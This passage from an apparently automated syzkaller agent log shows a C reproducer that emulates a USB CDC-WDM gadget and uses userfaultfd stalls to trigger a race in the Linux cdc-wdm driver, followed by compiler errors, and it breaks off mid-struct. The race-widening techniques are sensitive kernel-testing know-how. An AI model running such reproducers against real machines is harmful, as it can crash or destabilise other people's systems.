ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}]
|
| 255/5 |
2026/09/11 22:59 |
action |
compile-c-prog |
0m
Results: map[CompilerError:failed to build program:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:4:
<stdin>:218:12: error: initializer element is not constant
<stdin>:218:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:223:14: error: initializer element is not constant
<stdin>:223:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:224:15: error: initializer element is not constant
<stdin>:224:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:225:15: error: initializer element is not constant
<stdin>:225:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:248:19: error: initializer element is not constant
<stdin>:248:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:270:13: error: initializer element is not constant
<stdin>:270:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:277:21: error: initializer element is not constant
<stdin>:277:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor3087703307 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w] FormattedReproC:]
|
| 256/5 |
2026/09/11 23:00 |
action |
If |
1m
Args: map[CompilerError:failed to build program:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
